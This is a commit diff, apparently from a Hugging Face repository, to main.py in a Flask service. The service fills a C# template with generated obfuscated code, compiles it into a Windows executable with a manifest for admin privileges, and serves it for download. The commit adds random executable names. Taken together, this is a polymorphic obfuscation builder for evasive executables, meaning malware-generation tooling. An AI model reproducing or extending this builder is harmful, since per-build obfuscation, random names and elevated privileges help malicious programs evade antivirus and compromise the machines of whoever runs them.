sigyllly commited on
Commit
0d640b8
·
verified ·
1 Parent(s): 5d5f013

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +7 -4
main.py CHANGED
@@ -136,14 +136,17 @@ def generate_script():
136
  .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
137
  .replace('<<obfuscated_methods>>', generate_obfuscated_methods())
138
 
139
- # Save the modified C# script to a file
140
  script_path = 'polymorphic_program.cs'
 
 
 
141
  with open(script_path, 'w') as file:
142
  file.write(modified_cs)
143
 
144
- # Compile the C# script using mcs
145
  compile_command = [
146
- 'mcs', '-target:winexe', '-out:run.exe', script_path,
147
  '-win32icon:app.ico', '-win32manifest:app.manifest'
148
  ]
149
 
@@ -156,7 +159,7 @@ def generate_script():
156
  return "Compiler 'mcs' not found. Make sure it is installed and in the PATH.", 500
157
 
158
  # Provide a link to download the compiled executable
159
- return send_file('run.exe', as_attachment=True)
160
 
161
 
162
 
 
136
  .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \
137
  .replace('<<obfuscated_methods>>', generate_obfuscated_methods())
138
 
139
+ # Generate random file names
140
  script_path = 'polymorphic_program.cs'
141
+ exe_name = random_string(10) + '.exe' # Generate a random executable name
142
+
143
+ # Save the modified C# script to a file
144
  with open(script_path, 'w') as file:
145
  file.write(modified_cs)
146
 
147
+ # Compile the C# script using mcs with the manifest for admin privileges
148
  compile_command = [
149
+ 'mcs', '-target:winexe', '-out:' + exe_name, script_path,
150
  '-win32icon:app.ico', '-win32manifest:app.manifest'
151
  ]
152
 
 
159
  return "Compiler 'mcs' not found. Make sure it is installed and in the PATH.", 500
160
 
161
  # Provide a link to download the compiled executable
162
+ return send_file(exe_name, as_attachment=True)
163
 
164
 
165